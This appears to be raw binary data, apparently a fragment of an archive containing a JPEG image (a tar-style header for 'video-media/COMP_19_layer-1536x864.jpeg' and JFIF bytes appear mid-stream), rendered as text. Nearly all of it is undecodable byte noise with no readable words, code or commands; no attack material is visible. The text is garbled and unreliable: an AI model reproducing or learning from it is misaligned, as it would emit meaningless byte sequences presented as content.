:SkO5GNʝvpF.fXdrB2wh"8~^/əiGj⁏:Zk?\0cʞH÷x+ɉT1'6jczjUMv=/vCяZDcm-1tǎQJX8^?=/<i4ǒ3=i2hގ3_ᖆٖia5[˥૏/ix LOjHz4xm_.:Miiv;.1&KW|2⑛F6O#l8[di^,JP8urB =:o==maB4vi b>֣ :K؆%GNrNՆ8p#k^8R9#x7FqQ`EQ,aV6Q7lXѥcjipfnEB 6@` 5B 5 E P ` E2[ @% (@( :SLU#/RgؔMLZJ/FTʚMNr c`nj%Mm@qm47H"E!PE5e0Tl @CD   c f(]Lp>s8"8 Ax}xqXFAi אOﳌe܎`s)3qT[)ĥf@lrfPZ(T - XK@d@b34(˅FpDQ`9.(G..F6`f2/ڀkuhzn&%ЧL9A<?VYQY:ktYsL/77ONnh+WG>Qyo{j:Z~w\t;-'G.Q8>Ur&OyZ?vx|t?G4}&~Myٴ-_r1m6/tv~?<_CQ㱍b~%$Ѧ~gMG/&_1WػQ1}9EQ^O-{_3/67ڌ<5ٝ]c^yf#Ľ9u,gY>%gOGX4wquugT4$Lnu_Q/_wY5ⓜ|,=;#1u$U*T%e T'h J(QP lYa d @ % ((-!YO@1|kѰ qKvZ GYiy2׃DqL,x8LIf3.2Qw)0 rJI {ELN[*iJi09 8n9,YdX7F# Q@eg`ѡ@qjnЌlDnL`rQ6:MmdI g`ب DRiÃ(dƨ88L\3(Pf?=x=c8|]ew.:4j'X_IQ<}WDoeҮx:ytu+~_3WO7/Nu"ҏ+?EMm:sۗ\?9ɤq `~ZХGIsg*=6qoI(ŝ1⼷Éx$c/ebl3ׄF+F6@p:I8"lBiÁQptgmu682+DI6ML3W]0 RK hmfuh ]wHRGJ˹&,J/RHG;]ͬf;Qv1r,ʉrS r,dgΜN>Nlz3|Pژ򾞎>%GgXlm5:}:~N>vl˒>Y>TOu&L2G9afw_ok'cOXkȳ.sbKW9cգ}}:Z ]V?sê'x_q99_\:ϴ|>+j=Ar]ɏ+kVQԯgG]_u3-J~Jߓ܎Hk4,6)c-̶yKZ?LK^JO~mw@<^~Sij])jQV{ Qj쿚~)ja{ S,R-g__5i?GH~a/?C,0/@עP·Q/f֧g)y{:OWr·lԴ0}#t?5sS15K%8C/S2|gIxc?f<_qw^NsZ{=;?}g'q27\g۸_Yu_/)q۝f>W/2jF=?'ٗ5<)1=[ɼ|>Ryg;;K̋Fh|t_ۄ染n==&7g:+bnav;pp/vai#qcC\aɵq j87@^ @ d]mCjIFTd @ J %M *dŐ@ `,d+ @*P B 4n 8 ѰH6Pچ;QE |kP (#\(=E3TBT,_,,&5a36,݋1ln6 nDR`P```` ,%PKŀd6Ű+\kŰ([6@qxBu1x̼lmDpLi߱;2)-O^ 0dbc24tiO2N(΍)ȱeOF8ԋ[+AZ0  - B, &VDk4r&ѰLCj6e9)~% )x)az.g 2XONzvqKMkS\R-;EGMu2蓾nXLEXt:yz}OɊc<+v>G?HfEOɦ(eЩ_o8Q<2q?L;M94rμJ=>Qy][q:NzRqKХ/Mp#JA@ۏh Lpd2T .^{( oif1d0Hh"NuHŞ^F5;F9bͩ',yYͭcF|O:VjSM1|K9aqJ1q;rfќ%{#U9#cG4:$|=Iy/8u4u/'<:'}a#E|l:ןxY}zXu#>W>:(u4yYꖹ{ʵy>Yu'_z!OZ/W06dNL٥_|6mu/oZ_[_VqO}k䏜y6dz}!Hܿ~ǓH9_?cqEꪳy#_fxYk -K_}OUV|$^Oy'9Br{z!j=Z~HQE=Yjxc?gIy'2?4Kq=?/h^\{Qї_Ga9Kz^+~k쟚59cٗ'LyOoQg2g$,zAF~tt?2X#??Y[5ƤOn~FuM[tr&'fm|x6.86vprplk?N;MIaףbHGKMpj^$sA8דrЅ8sC)"R $@@`ZUVAYV ` ((a BbQРزB&R.PK"(%( [@͕0(,ذ0eRB(+P@ - 3@Db, ` l`~10a b,,1b6D`FR0  qf~5u?B}^NM`bE@Db@TʟHvjEa0"~gb9,E  @ `( BMMc;Xh`(hrmDq.#9vq.$pgrhEyӳ&~?3,6S$v:}Ӫo͏ &O -5E3$cLˢNQˢ|Yei:}OOlu>K?L\Geth>x|652 OOM?y:|gNWmQjzZWHrBR^{^(Íai8〇+$TQ16Ѫgk#Fe9c!c3jpp84esՑb8ro\qУt c P@n9d/ 1\{9V4t6LY]Ǟ5,_a6ݸ"56/ӷ>Ge&brzr5'aj_#/,Z_:sC4זrU5u$QhyYӰ^Yβiy_nz=IgAAz.y_oIu6]TQ67Tx]V={eJ_Oouu8Ǩ'^F/e{}AWڜy=_mkϟY$4edx4ʲ%>ϿVILϕky'lY}e{{_^̽g<3Sʜ|w~wHvOoSdЌ٥,wX9#r{r~g݈^+ѩ^.}X^ {uM7aB(Q02lʗQ1=8f."4Ι#1|]݊ҍ!̮Pp>GM~WNf=m>cO 9.\8 -ǣw͂8Êb2-A,ZKZ bd6Ű+d@ 0 Bc #iQd3BP5՘sAV@``/p%k;MP\e@qР8̼1g.Quwч^2S/)h]7h:LxY:etĿLKO.h|;/LYWY4q|#Fvjt^_E%wB}ny7~(ӓO)?}~(yZin]|WeиZsyJ/S'N{q: vKy _<&txy; 87ѽc˧'a0öɵ#1AZ#m%})x~\{h8٪*\#N}lE]v82La6$L{hPXt),3Fj b eݚ!pdM߆ki#6ŲLHJh.&qC#Ip+7F/flX5ʲVWFѿ&iv+2Uz:F(}YcGYred߲vS*myz &]ѵ'%Rk"{vN,/fԚ0P޽#ߒ۲f5dG_s'vcQ~Ee3^O쬨r3?#-by=idQpn,':g ]:rE7*A؏s(Â6B'*08c|$k#iۍγiiX+9^yLzVw0vi3UמWb4HG(tx;8F129ciQHچgFAZ@E B Bv["[ k AeE1,A_b`%(Q@@(* (% @ ̓T( B(K+\ ŐlY @\`(PP(JPEJPR0E(;4( mck7BBDh)b bF lrfض{6 \bPb6@d i3 ZXX@]Q/TjдdcX, dlf1ck4eJC - Р S*P1N/D% 1ˇ~/u̼|Qd<2V=ƋtEozҳ`Rδ|'#sf+-_[y8~*:O9~AWӥ;L{Szҿul8_~]M$sW+G?8gYr;+,G^=͏!kԖltI=7,11ɵ3p8Fg'6aqĊ#QM>mѝgi`_ˋCKФr&HFh d & (Ԣ*jmCb4Çr`EjPq4lE^ŗDTѣ  ljq. r&4a2U؁U2#5QVm6HAD A*4$-f5DHH&K(m**F1QaDEЏͫ3F249"f16ZH:9#ĎHipŜ,h8`|q2.\Hb:|w*=M>mvkOI#/0bz|U8ޞy\ixcv1㣕Lk+Ɍxa9^cXv1v1čH#G$bn=xQȕ#Ojȱ2+Bl Z85w&#hgkY gkY fY_c [@0[@0P E BJ J - &"PYL ض%(Q@@@ B% Z!E EJPEqРtM ^j=;X4 bS-A, (@4P (DaYڽ @Lqt)z1b83@,X6)?flXfK`i2K-ŀŀBŀA0C-Q@`蔂c 6c  G@h]AT-fضe\( Xw( @ - Р - B( B(e7Lˈ2 D, b^ &h F6rز:ŕ1O vFZ,Xo8Ol|.%u*OgˢOQ݌_?s7K;Ss"nn8?Γ\Oxdҋ'[&xy?*=k,Ѥf6pw^Op!FöeeGWhp9(6Yca&:v6`gu\8'v\ :6mA*.*A0!TM$ QM$ lZI[hQXa"ѤDEH{4dE]EK4Xj+"THI HHH5rAi4͙٤3mqR-Q\HEYj6y9B1'$b9#-bF'>8H5'c6NJCIm1k4n;rz}=%6 zxqpr=%HƗO#Hzz8)v=  i8]V\0;x8:ȸsB89afZ#2JZT TqrR*H7L{Q9f@6@ ZvRL՘i4L|Re;)[);(@%jE@F&hgk#F̾P %l 2,@jŐ@B% - Р L@- ( B( * )S , 1hBaU̦P-@hPgPKVS)X&B 4hhhU@Z& 2 6z9z#`0slf\>};>2XS.eq. sn GΚ-p\uf-a[;e"h(h@5eJhQhAAhPEez&bcچ e3FTJ4 QР - @Փi؟ 4#;N<iu1і'M"~MĠYyx4\>NIh Ecr}~urho;/K|j>.ӻ9 4 /JR~|yu~C%\fm-Itx|q?G|yiN/)3/G,Gkyt^*2we]g/чx<|O.Gy^"Gv/1џ66#BZER pTb1F Qb.hVQ*e-0LL3BT(E\] ǹ"]]#Fr.bX6KYm+7H]i""\E%f n519KreRo1iɗNy].ǧWtkK,O;pظ1}89s1pcňcƻF831kiG,`!12H{h҈j"LT(]A"PVB(m&@ J#(ie R , b,@, @QlYo"e]JZFPTF(t7%n*f(VYK PK R1`,H#( - (( `jř`fŐ[L b, e (Yc (EP J@dPR0;BQ@h_Dc)v#A[>rJ`pkG54) 1LnG.#܂Q\1ln "4Ihq]HDf#qT܅2݅rX;(5FS$ eNT(Q@("0,,%(PZc (,2lY7#aͱl 6Ű4eŶ-r6`.1BmCj 616168( [Q68ٽ8egi6:w-rj\K)b^~FXXOHl+{2g 4iQ>X=&,_Ѥ}Mk].QJ=ϿӺ{|pN[Mv^(+:N񏝖xo&Q֞S;xџ%0ֳp;k3,t5/.. ÃF636qeƼ̈́pAtX|H%ƌ;/goĎ6}G،hC~O.kGg28o')BLR"TRHZ() "EH`aɴV?4m'FI2i#J%Q.QDF-YLB'*\*86g,D9aٚV,vE˅:b i}L-];t^8q89qivq9uӼpbbL|XnG<LXBhĐVsB'-o9T8%B7Ց :FB T,0R (XL BvP F0dl$7# `7}#" )} fh ̀0bfŁij67K*vbmdAP%b, )TEؠ D b)` ¶fma1gqwp("vP% ( KX(%bXYQQhP@( Ee P(څ Hm9U;lŰmhHQ6KѽJ U\L"".;\Gy6K@HPJ(QAD#VP +TF,Y(lYBt7s?F֨Q,   - ;Wm7BcLB1FqTgj8YMLB:ox%Ԭtepݖ3lyp ,Fc̞GW.?<*LxtIwRpOjVo1RwHt OleOSr>'/IjI'}M%|#ڣ3=,}^nˤtr˦jvo Nuk7:s>:NFc˪Y|lYW33ˏeGUu؟q61p^l|f :{Nc"c x6ph_)v7|lc x-QYSG/]Lb19 /ѥ!FFiBEHc15bmcLq<,+9ajGqscӶ=, ˃;xΛ=]7Mq\1Nm&/%MMQwizwpsXpOD1*9qÃ"bGf tsBZĄ9Wx91I#paj*DT2iv%X*Pb\6&Tdچ dچ dP" - (䴅7HT ` b27KBoO*v("J-25Cj \XCYQcurOdX%XL Bhn@f@`چY@@h0-B-a2 hP- - PbB`E B2f%fʹ-0ʚ2Z)(FP J(,JPV@, x!|`(Q@@Z gj6S3m@(ԻpD&t< 83;zP49 X{#0n=6[f@Nf/@Ib ()B**2 ( -fQPtT=`r& FPV0T 6ʛ7bJ&@Çv qm2s&И86wvؽ  b8e'¨1GޞcZu辙煯yi4 u$>#ﱵy5<vEQ#KVfcWtn0t3蜺 '1y;8p56>^v |zZ}sG)RGo{z9}:Xmv9iWŁ#ӘÂ,HLJg-NYljWcNHb5qŽxcF1G;q3j9 r344(YQ4$HHਅFUAPKLFJhP)(Ppfb?L% 7MTd[*lV2*`hŁA,XA2(b!F) 4F(LյZ%RAqcq(ڑmZT#`4( Уt( ( EH Р .*"X d[)@-( Cɣp]\1y@P,YLQl F,("e (EPE; (2-@(H3РDe)hP-ŐlYl YP@d@@U Ed0(բm+@&1N@ qGMd YH, e@[0T \Rİ`Pq#TlDgj <1~Mc8GpǛ-"9h8/Dx_G-+]OL=3OLxS`utL2Ѧjt>k'Mk>)h/ΓrZ'W&,9KNNwӝ7&:Wtq:yzZm7;bY` s<-GO/N|1x%h6o&KמN~kx}R'AAqhjTc96>6]O.|hX~1OU:~/X>x#/{EbχGL~]3ю?dtѸ=|z+9ϦǥAGk>o;m Fo9cIgSh!MFth`>7C.(׃Džz3qLz~{zwC sC 59pcps g4159qėsG]d3ck+1,`rZ (Dc(ECI d@ D-A,XŁA,X D*`3DudڍJJQh` [ S2, XX- ,ТP@PJm6n@dYdLLųlS.(( D A - V@1B vbmf(( hZ%!@[B,G*V,XFA%("@XŁA, @&T% (P% (6R((K [,YŐl ("("% (Q EJPزbزab,ab((b8&@Ox&õԆRL3-Ql#7{5kƓP7Ǵ0j=ƬYL$hZ7B'#HmM&ѵٙcKϵF3/9xSqKI&Ϊy2zpOEvb~}'IH~(%5;g;/FNM,>G z~ ?,#$[ON^7'3UpKE%,};'['B_F/r^ ~N^#7#-iZUϯqˠXXW O?|ӳkNCƗQ^ ?x1ҿEZ6cWM&= (4Mx9gv7'3ņitȴ'W 3~hikL}58t#c8_Z~=}]`ȰG~:urGNW˧  UG rGџK׆3e#8>H97Dyb0HFQX‰U76*bQ"VP[ &աhաf@h\p@N@0Iř0jŢA{Xrɵ1Y4(d*( -  ( BXBX>,VFlcqT+T(X(&Q ( B6#d;XhPYS(lYŐlnCr5mXP (`Ͳi`҂(>ģD%iD1OA1f. l N,dزjزkV,b5a2,'`PLE - РJ(P (J(( DB, ( BBd4JР - KX( `@ hPBEfix&ӒǴU6}c~ uBlj)%( A-3EQ6 4E Fvm6( mMР1pG(#/O#ʕzH?%H[SC2~6LyϧFN^V=&ƌKE' .ƿ$Ÿ~]zyy L˯Gwע<߁z4׃u=Q2l.$bD7#15P&ʉQ0HYǃIe*4fIHP((Xjд`K`al'%-l[ ȴ-A,X]PK PK PK PK PK PKQlf -  -,P,P'qEXCjB)S3bX6, RР - Р!P4AlY(QV][Vmf\y5lnf6} F1Ӱ*`i2r*q N(i E F, BP5 ڀQ Q.M)`'sd YSf,XLf`r&]쩜{Da2F 2,2 *L BBF-d0'FF -ZfQ@S%@P2hEJPEJP@ T#I(1F1ƛ]гch#6,Ѵ eL " (%,P 4B(Q@@#FYf@H"fBѴՋ3zWi?(6'ŽpY>m)Gv.]uJ&¨Lb(FЗ9L<"+v, QEEp,YE6!Y &,a`nŘ`nŘX-jřEز(䝅)B   ,!PPEJPŐűdŰA`PK@) @hP mN]m@TQ61E-r%@rXŰi4q)QwXG-jʙX ɺ#EE@gm 4@K*~jF%wh)LK͖/6 *`P@Q@ t#W ^`&1c91Z)5B?e\KH ;AhPh W` [)@@Z@(A,XŁ@*!PB ()Lc/hP( - v2T~ʕ*!b  Dha]5 hPE@ @*!Qcܤr #dj(f5` (FR0 D]I0KAlg.%9 8V@9l_ IO5b@,X,w" Y( B"Р!hb 4 bbbBt7 PR"}pچhTEl)F\-5aP.@rPc ,mfP1k(lYfŁK*;(MEqQNW _,M [ .Ii*?K*+;U$pAX¦_"ke0rx0r*eQA7;@ EJEJ BZ;X3D5D - 1DS2%( BQ 4J- I0%b9l,XU`PK B% (P% (P)d4J"D*Z0 %(Q@Z$jUJ#NAmf1~?FJ1(> *Nf Ti2-P"P( )6${%@,*@ B)BP)7ArFQ@@vX->J((( & 4(D2F%":j dW2f/^0QʤI+4 s5uOIs)¥ES Z8rvU*"[2 (((%,JPQ(Q@V@O--jдdl n*vY*`,` (( j@,Y5lDR1arCTZE Q("YPU Z&Ҁ3l4 YPVEkh?rR)z8ij1QZ]ġ@U#JFb.ԋf(3l[4-KABР E(hPTQ@@f@@Z(TP*e4PPbգ; +rh%Q6"&kj2נ.i372 )Yl ;k@*NŐPKPCUS@10* X*-ŗc `P@!E@ZA%d@R (ƻv!\HL@(SB {*E$TP@ - ((Q,&AKK6XV 1I@hP1hP1 BAСb#DVBhA#T(iXtL`ˉ(}aheN]Nʎ"e1 )lѐjoɭ e3JG!̛4HSU+"IHR4ΝRM`v *vX BLIC"YE`Pe2Ł@hPd5Dj~KdT̅L\"FY ̋ՎlhP`Mi@i(Т УTB B V fŗjQU  ( B ФRhP `cј4L bŰ&[2,Ճ6T,"( @ (( B( УT( D B%1LN#䪍pgiѴ ?B@4]q'ERRDP(P-  R4,YŐlYLF`` 0;B % (P) PAhJ2٠S{IG- @qW;q&bv3T9-H+@" Q QhQ@hAh@cܦW*fmrűd[@( B- 2ACEѴ@B ŐUĔlTFچ8,p3QFBcJ9mX*&H6MfSb3J~r5;*M>BN-h@дd[D( B #DB УTAPP)7NWƨ.?&\PeÓ⟂|Kem;=&ӓa6ˆkkB3A{4gh9ҦF\*9,dT샚г,rLҕ6r֊e 8J9(m$ i,XARŊŊ ŐlY@@(*BlY3Fc@@Z@Ae@P!EhQE%d - @ CD e4%6&T@4l-Y,XŒ@(QAE 'b - Q PCU  B eF%("Р - EQdF-c B2Z26@8% &%(m@ÈJ`LN7"T"92qwb8٫ QwPDd,XhP%!` FT(hH7HR 2Q,2Q~( iLLU#JGtU 9G*Kg9cܦ##J_C(&71A71H̍@XŁA,Yd @e"X͕0(, l^`1x9pMI&4g .AP̷ȶB )3I.쩙*7b̦R Y1eDT,t( (FMeڀ GZ ( E@=d@ e2TI@@F`2 D,D(Q@ BQ@I@J %;5 #%Mi(~hJv0݋03悀)S"` e @T[ (&i 9EDEJPRPP(P(PfQ@@`@ @@-`LdXF`hPjdaE1b f0BQ@PK@PġQF%S6Tʑv'"i(iHՙ#-VEز"[2B- HPID!V"fJG1(ډzmhfDٸfW F#$*hqrn*~5wr+'e X- D@( УB5dj(    @@&M,Âm9Atpm.Ö8ǓTZ#LРՙHE 4e2!`!A$T> (ȨT( ($P[Pځ[Pځ[QhZJߒrS%\ d( @%e#K`@@#Q2U -QH @S1|2 X (FB(4Mujfm@dچ@@Z I2աf@Ll\ Z FhFAD Z&Ҁ3mfɴ%ʓT(Р)(P@, @@-R(> Ф NKL,@d\ (&P3A%aRi5 AE)P`bKBыԋg(Oq^opeQWPK`PKp@ OD*B- Р - (( B( B( - /JT,&(%( B S( K4( Jb,ՐPK `*"e( 2jkjP,YdK %h [@QlYP@0 @ Q@!C/fZIV 'e3悂P  A E@\"(QPkY@1}JPAh b XDز- % (P (" "P3D7B-TZcIL'CpF쨂  PQ,jU@Q%h[*!PPE@ B(Bm4 1QAJ0 Z4U-*زbXZ"eFrAjckY @ V,͋V-}KB-E(,.-3hw%YP@*!Pd j=X ~퍿l~P ŔQ(Q@f6ck'ctJ4 ) Ő@NJ,̢[*fJŒœ* b@*(DR L͕r)QA B( Р w4GZ @  B2-@@RPhPD -, b,H\lР0C  E"E0AIL[QD, *)@[Pځ[Pځa,71A#VPAQbbmck(!Hɶ3@B>A,P=4 *`PK -h EFFfiPT@@ZXQf,XLT[ bb2(@Z{5BS-1L- b2X4a6[`hńLPK*v@ T,j 5 5 5 +TQ; 8 mjТ% ),pb5bر@X(& - XB,(adlJ(@ Y`P,Xd% X3tT,e j=@&P2 B@J^/EA1)zKhP1M:m ډ=B kg*@,ŁA,XYda1*f@ b'e ȋEJ5*@, GL&jU ŐlK`I@@4@1M\D[A2S-X*JX(( e#4hڽb&ϳ@1tlRLL̀5lřFS@V]GB@=H(X#k)RhFh_c;M( m m%@A`R6TX(BP(!( B ( BbS)Ջ "-P@0 Փi@.<0@`PT[ HYI̢lXE* `L b9-`PD@(@AE@vk)v 2)f%( - (@dlYQE  ,, XbIL,)lI;0 Ln*|D@Q@hSjFZtA!MeGkfk:Lm7Hm(S!IT)b b +S Ֆذc`(T( B")1eO4 *&PD-A,XP enôm9x3A@Ova6(lY     XFR0JdV@D* *bȕeF *f"5`i2@nױf@B7@PMn`PDFEZ&TJ`(Pf(P'E4زPY%1b!EM@- (J5B1ܔojQUkjP5UQHX-b2 - )(PET@@Z*!Wb ,( lG*IR5FSLűd[)@ J5hMP3h &3T 2 mCj2 "ZZX%(9  d`[*͋@͡ (Q (@ -{> 3hZ "f JbʟLً(OlvR,h,XŁA,X@( )p F.<i@3uD9ip(5k -佌7b̀9lY[D*@աhVɨ YHP\m1}ghD% -  (,P%% bX %rE  D*B( B F  b "Q@ h`@AMZ0@B}F GL%&P% (- + 24F - P,P,Pl[ Z)T#T Š( (  B% (P)" "Ő{@PBBP(@ P(Q@&`S ё@h빭ɜi\bKna;5aT2%@-PP@c&FAvP2ТMme Т23H70U$j7#e$2Y@DʤK  EJFvd({X)S 4l(1w !PTъr800r F@աh 2@krqK e\A(Q@E2՛ W7Cj J i lZ6%q`" ncs D-A,X&6 7 MR3@J27Cj61b˵ 4l@ʻ`h QW%5Dh Р2 B ; TKb`PK#!P @TR YP@L fd 6SK "X-`PDPEe E@J2іР3D5DL ,X P0DRTXPhPhPfhQDD(j*NPKA7 'ehA6, `NyF) F.S0i;AU@D-A,XPAhP6A@Av - 4 QJ(6(GEN [2遫bضe8Ґ5Y Р - E*- eb F{ `hH…O [@ͱl&4 e@ E%%q[Q ) h(ȨEK) @%hV Z &,-a;(P2i2(nk;Mױ@qP) " J(P1BР1B1H2[@d[*fJ, b2 ("P%dEd[0DӰf* \ PR0 , `Q;A,Xd[-*d, e2[( $FnF FXl,ز-  @(P(P(PJ K"eDǰPQ(QAZlhn) fL@lJ!LDir0-eR9YƤ,@a3q45bJ4Jh&Ј*d(J( Ф@(Q( ckYQŴr6Ƥ[I eR3%AcvřPP@@,_* , eN, Bt,h2%^Hi2#) 2B4 ()(hsU(& 4FР P R/%@@ZQ%@Zd+ Xϐ<`)@`TS6-f Q  [X7hZ2@Tm@- e@@@X5bز, e4[DS_d8}% Р3B ( DDP*-B RGB&3T 1e53B@ D4J(Z&T5VJhT( Р`% ("Ր[5H@rn9TgtU.c+f( F D@ 56h*%Q%( @9$+  h` q,( VnUf))հAp,Xd1lQ - Р - N `^lK`P2eA4!Q@@`QDAPe[ H T, X-l NJ~d'@h;(Py(@PQE J45Dh (Tb3BBMP@[@"E"-pe %(Q@(Q@(dS@ F@@(J( @d `IET[ *edF@bŌ\- (- + #E Т - "(lYŐA,X2*d[@@@RР(tjѐ F@-jдdB̀4 &E Mi@RS(͂Р% -1L4J7Lh@@)" [* B 軉D[ Hqu`R4NEF3VlP-rnL tMbfhjŚŁJ*ز`Ջ ("(Q@bҀ3m4QbP2dnd*!QHEJ R+[F@Ғ.`^ţBQcwTBnaK(*5䆈נ B PDZ-A,Xw3K}kj&Ј0S%NB,XŁA,XŁ B6QnH TAK@( BZD  0he%hP, b%6^P,jњ4(4(  (j-'e bbc C`%) B( @"EE2KDɨ@]mbض+53{Q (L, ̩ rZc`t]b'eբm(~.5DhFRQDm5B,ؤAvT@,ز-EdС@]JBڑl㢁eI 9"&[(#\27ؔ b˵h ( śچQ)i hLE@Ta c# Y'sBР bc@ʑE C2i;DTk A1V Bt71B DH4J6 mCj,@@0 @ eNNMI2B2 P `NYlF[-2,ŐlXX2J(4#@ p, fʙvŊbŐ(@J% 4([%)S3e@[@ŀk#ThP 5@P@ c[%gɈՕ3 C!% ( (Z(P%( BjLQ ,{P#VPP b5#;)V, lWop:r`T?f7;@l 'e 5hJmeH՛mB^R- J!RP*dh2XrY) [2 [@ FB#R>@F@C,ElŰ,Ճ)` FŐl i1b6T^Ƀ;i"PYvd  1dTNKe:4 %(Q@5fPN1V@ GQ2d PfE`PK*TB@(P2 mCj P*L `  e2U2`@ r ( B( ضJ%LvV,lYFhQ!FPV@YSELȺhl)\p)24 *2( Y [Pځ Q@b,{t],PM̩@,V=Gmmq&!9-1L deN;䲩QƥER97;8Ӳ@lRehPR1HR7 =id@cܤrQ 2 B@}G,%)šh >hP( - )SDP4.L߲Ja)pb`rJFa[NX5{I)#jEa1`osj=3JTAgqTEZAmAjJزP(QDL`PD%`{6EqlYDP%3%H3T A 2P) P0 ,a` C APEQ(;X0 hT- ` beNPP     Dhj4XYlਢP26ٱ@qtJAc(["n`F 2OW&JhŁ@X)#ܡ``ʀp4lMP dچkjP*t hmCjhZ2v  P NJao@1m9(zÏirQ6&iHWm4hL_rZY 97"f࣐S*c@CJbldl6*( TI@BH NF@ PX%@0N}@!iX6,3P Ex(CTJ4MP.6Fh±Doi6g(ڑT%ʙwvŰ9w!gt]։5"97;1n9 GT|,X(%X(%&P2(( -  @A`mS6{ n*PE (Պ(Q ry!4`@., %V,&("e H B()(*V6c !6;EQP@Z B* (,, P (K5Dh b [0 c`(@fhQ@B(Ջ3bm`kT&@ɥ(X( D4JР - 6P (D;H6@8G&PHZ*[2 ڑ.$@r;"v 'ESERLKA@@RPTR [ F\ܗhFjD@A`m-U -J5BiKj?Jfv%@%IE r ~)X;( P1&R dG#Tm9hmkYɴBm%e*[#T;-9l&q)K'[Y46SjřcYRXL ( B( B!Y @fle!FPj@#*4f( YL[`Q@CDkD X  `(P% ]TE!PEdET, bR"5MGX J("DB2( % (4(Р3YZ%J(ŐK-_& l@@ZE4dU"5hZ2v  2- @2.p-hաh}r`4,6%A)@q(D3bBhQD *dƭTqb#дdnŐ[)@( BKF% hZ25hZ2J`P .hd"Q4D(!DQƊiFBL b   (*ʤL⌹7 )%lȭZ3BvƍihG3\X8L(!Mqn&h B6id`@r-ELU+aHv-d*f4DE"(m(5Ddci(iI%".㊂[)ĥFƬY.d#)@je#@- (%(*Р -9( "(  *~f@Q@YEhPhP0X(%@XX@  LT T ( BYH, bG*|MnaTE"(0lTdE2-ɛA06e1@lsUN84 8rQAZFP&Ҁ%P( YS3a2K@T9,I - ;Xc-:3},BS-Hŀ  G+D8iau)ز("@%2ci8HTW'TeLbV&hccFNaH&86iX86iJYgaG 7X]MU'd.FԍJ Q̤U#qTdS-4@[P4(-P %([JirbŁײX@nAaTPEdD("P)(Qhl̗%X- 1BXPcI3E]XbQ- B( E@ l`R 2 DBWLPRQEd@Pl(Q@I@@dP*d[@JPEJFŐhZ2hf=Dde> 5Ŋ p,Z% hYl&&bբhl7BPdKcp*̸z4 c(ѵF̴ (4T-36I5m _&,P\ , k#FEAEl-fhززb2- Z&Ҁ&l4Q(0mS @ @SD܌6l),{TS(3ˋG *8vHÊ8sm&8(s2QՠM#$[HUv@E"(l ǹLER w*vJj %bEKD@`چ(, b, @@,b4L X(%X d % BQ qM0b @P[ Wc!:&h"m( T E(-d("eJ( ( B((   B B D|dŁA,XhPBR;E@JZhK`j.("vP4 cچ dv6m@*!l*X4 bb%J-(%A+962U#2rml%kDbl X5e`jlpbl5e3bR1n9w} pER>QkjPLdoj2JPX2 DPQD7䢅0-3 K*g*t%1*E$Y@6qڂcqI-rQhP@(%A,Xma1D 67BPVAihA`*3eL bc@X*D-A,Y-ŁBwl06}F8q."Q6IEB0@4TBѐ@@di -?Di@ jő0HeV '`P DkQEP@@ZP -?dh\qJf) EJ!TS%( J X b,ж% 4(A`h@@Q@6qУtFաf@w;l-4 6eƙFM6G*!˴ qM2SVŐjų Ֆ. aU#6, b{r '`P&6c Т Ef B(@kmJŘN.Bűdh,efB@FZge)e2(0QH, %, (J(K ;EQ P @ d+ 8SXe2T@B,  y0Z&iQZ#@@ZMآS[2[)ŁPhɰeFIE%@@PJP]Rv\l 2%`@@( B%@ DBQh% (BK &P#%%jZ@@(Jذ4Ț[H@ ز4@ɢmA1Cm*3@gi"i6q-8j2X@[@Li2ً @r]h*%hńAMnaT;( Gɭh5hY(Bt4 7`!oh FBT(łРX4 *He2[TB(Ȍ@@Z@dچ{8f ~űLS-%L XY7 N`, &P.6X4( [Pڂ2 mB+]`@%j264hP|2PD!E lYS]rn^g42pw@2 (Pl@m(P( - B (ТbSD-@ e#b, e"(vbPEdd[@X((B HQ@lYdK C@ 4%(` hhPE-3%@h%dL4 5hY@k')#)U!m(md@`J2TdQi3 1Q@qO9i @q"٭İ@P*edB̕ 4EELee"Ɓ((Q@Z #O% شF@5hYb b b ``B3ӳDac4J6@1 CjB*he*e ,P1Bѐ n -*dh V]GBP MmeA HMf9Cp}EX7#4QV T@)`PK @BEJPlhP@J2՛%QPLq6- d E3b˼+Od b, J((CD -,  @*)ŁA( Ő 5 ("Z@`%Р"(E"(d( *~f@)weH, b DhZhh*b*d`hŁA(Iِ(!:5 & J¨&70(%NJ 2h4(QcK66ar;J(1L 7@.S PET&fAgqW!c@, @- >M62 mFZ 2bb %(3@J m%B\*!l X2l&5`X DR24(F 5BjG #DLP( B(") hvdDB@dD4ѐ34J4 (d[*-@ ` @d[E`@PaŐQ@HXX36Xv ck( 4FdZ!P PEJPQPAh0*@d[@PG( w ]q, l(d Vm@doj&߰3BmCo((- b3@ 艔 5h.L`j6&eǓb5 # dh'F{ mJf@7A,@hP @hP qS)*2Qi'@UE"( V@`,bb`@Q@Р3@2 BSS4 R"X)#ܡ`F 4FfhZ!`Q D@ DP vSX%&P]U B (FR0 YW(H#^HhR Cj8hPQ@@B*!PR d( @* a@J!PFJ*B4 "(Q@l  Q&k}ȧ7a@@PJdچj"XQ@f@bŐl[1blaHՔM'f@N}{QР - >M- l KBѐH(X4(&2J4͆Z#@@ZU"4ՔS4j='eN&70h@@2(@&12J!UNJdXflX#*a1!,X1A,X1A,X0PK2#( - ((TfK`[KAK0^R2F "M\V@Dd+!`( Ei;2XRB bB%B(*2-   FB 3BPY(Р -lS ز4@( DhJ[F@$7р % ( @`,Q L a4@ 3@ -BV GkY@\M d# -lY@f(i @X"BZDS V #k(&6c..g#d#4((,]3[%hV Z5hQ@4JP b0B)T  (6hfJP dh(V@2J( J vFa2TE-"5hY4 a@l B- S2hWp  P video-media/COMP_19_layer-1536x864.jpeg000060400000415106151724237330013101 0ustar00JFIFICC_PROFILE0mntrRGB XYZ acsp- desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(bTRCd(cprth2|uH2fy|.wpyHKvEhFH@EakG+ar 6RS@FT-ByuDDC7˱ѭ J.uf{oq$X"so0|K~dŬԹƃBFּDG!v"ԧ4&Y5  7Wk&[Xqۢ?ږF64E /Qpُ)wFJցG]ix'f4F)fEl^ԥzGcH?26 wS1K"xX|_`.1 lTO{[Yl}#H~0tsL!mF)b'tϖ=-*>#32k@:(@~EM>VϋrvX{/wpr"rLb 1h溬fwM?fD[FOvGg.Ai<%(8>䶤fVWI! Un F FY͋fogvքgI jggajpٶ[TN6I=VYrѦU4gNsYԏ>|QSPdq+<䎊5&8FcTRB'XĬjqR4#Xc6mJH`W]I))0\o 6b%ԋ R ZE+E$]Hu u%B]HRR$jM%'bԎiu%BtRJFRm@TP9Et@K- T. $(R))ԘRNW ("6BDBJL(%{쒑BH&{RtNm ZPLB.ԐQ R 